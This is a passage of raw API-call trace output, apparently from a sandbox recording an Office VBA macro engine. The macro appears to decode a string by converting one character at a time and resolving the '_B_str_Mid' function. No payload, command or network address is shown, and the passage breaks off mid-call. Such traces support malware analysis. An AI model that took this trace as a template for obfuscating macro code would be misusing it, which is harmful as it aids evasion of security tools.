cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="G\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0068.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0068.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0068.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=">", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=">\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0068.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="?", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0068.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Q", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Q\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="J") returned 1 [0068.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0068.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Q", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Q\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="J") returned 1 [0068.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="<") returned 1 [0068.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0068.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="?", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0068.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="T\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0068.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0068.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0068.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="<") returned 1 [0068.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0068.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="G", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="G\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0068.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0068.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.869] IMalloc:Alloc (This=0x7fefecb5380, cb=0x810) returned 0xb1d4e00 [0068.869] IMalloc:Realloc (This=0x7fefecb5380, pv=0x4deaa00, cb=0x1000) returned 0xb017df0 [0068.870] IMalloc:Alloc (This=0x7fefecb5380, cb=0xb) returned 0x7d9c170 [0068.870] _mbscpy_s (in: _Dst=0x7d9c170, _DstSizeInBytes=0x4, _Src=0x4b2133a | out: _Dst=0x7d9c170) returned 0x0 [0068.870] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_str_Mid") returned 0x1058fe [0068.870] strcpy_s (in: _Dst=0x17c320, _DstSize=0xb, _Src="_B_str_Mid" | out: _Dst="_B_str_Mid") returned 0x0 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17c320, cbMultiByte=11, lpWideCharStr=0x17c170, cchWideChar=11 | out: lpWideCharStr="_B_str_Mid") returned 11 [0068.870] IUnknown:AddRef (This=0xb55fe10) returned 0xc [0068.870] ITypeLib:RemoteIsName (in: This=0xb55fe10, szNameBuf="_B_str_Mid", lHashVal=0x1058fe, pfName=0x17c240, pBstrLibName=0x17c170 | out: pfName=0x17c240*=1, pBstrLibName=0x17c170) returned 0x0 [0068.870] IUnknown:Release (This=0xb55fe10) returned 0xb [0068.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_str_Mid", cchWideChar=-1, lpMultiByteStr=0x17c320, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_str_Mid", lpUsedDefaultChar=0x0) returned 11 [0068.870] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_str_Mid") returned 0x1058fe [0068.870] IUnknown:AddRef (This=0xb55fe10) returned 0xc [0068.870] IUnknown:Release (This=0xb55fe10) returned 0xb [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x65f004a, cbMultiByte=11, lpWideCharStr=0x17c1d0, cchWideChar=12 | out: lpWideCharStr="_B_str_Mid") returned 11 [0068.870] ITypeComp:RemoteBind (in: This=0xb55fe20, szName="_B_str_Mid", lHashVal=0x1058fe, wFlags=0x3, ppTInfo=0x17c188, pDescKind=0x17c19c, ppFuncDesc=0x17c1a0, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x17c188*=0xb564418, pDescKind=0x17c19c*=1, ppFuncDesc=0x17c1a0, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0068.870] ITypeInfo:RemoteGetTypeAttr (in: This=0xb564418, ppTypeAttr=0x17c190, pDummy=0x1 | out: ppTypeAttr=0x17c190, pDummy=0x1) returned 0x0 [0068.870] ITypeInfo:LocalReleaseTypeAttr (This=0xb564418) returned 0x0 [0068.871] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca40f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x17bff0 | out: ppvObject=0x17bff0*=0xb564418) returned 0x0 [0068.871] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb564418, memid=1610612741, invkind=1, pFuncIndex=0x17c030 | out: pFuncIndex=0x17c030*=0x5) returned 0x0 [0068.871] ITypeInfo2:GetFuncCustData (in: This=0xb564418, index=0x5, GUID=0x7fee5cb3758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x17c048 | out: pVarVal=0x17c048*(varType=0x0, wReserved1=0x17, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x1058fe)) returned 0x0 [0068.871] IUnknown:Release (This=0xb564418) returned 0x5 [0068.871] IUnknown:AddRef (This=0xb564418) returned 0x6 [0068.871] ITypeInfo:LocalReleaseFuncDesc (This=0xb564418) returned 0x0 [0068.871] IUnknown:Release (This=0xb564418) returned 0x5 [0068.871] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c248 | out: ppvObject=0x17c248*=0x0) returned 0x80004002 [0068.871] IUnknown:AddRef (This=0xb564418) returned 0x6 [0068.871] IUnknown:Release (This=0xb564418) returned 0x5 [0068.871] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c468 | out: ppvObject=0x17c468*=0x0) returned 0x80004002 [0068.871] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c460 | out: ppvObject=0x17c460*=0x0) returned 0x80004002 [0068.871] IMalloc:Free (This=0x7fefecb5380, pv=0x7d9c170) [0068.871] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564418, ppTLib=0x17bca0, pIndex=0x0 | out: ppTLib=0x17bca0*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.871] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17bcb0, pDummy=0x0 | out: ppTLibAttr=0x17bcb0, pDummy=0x0) returned 0x0 [0068.872] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.872] IUnknown:Release (This=0xb55fe10) returned 0xc [0068.872] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612741, invkind=1, refPtrFlags=0x17bca0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.872] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612741, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17bca0, pbstrName=0x0, pwOrdinal=0x17bcc0 | out: pBstrDllName=0x17bca0*=0x0, pbstrName=0x0, pwOrdinal=0x17bcc0*=0xbf30) returned 0x0 [0068.872] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612741, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000 | out: 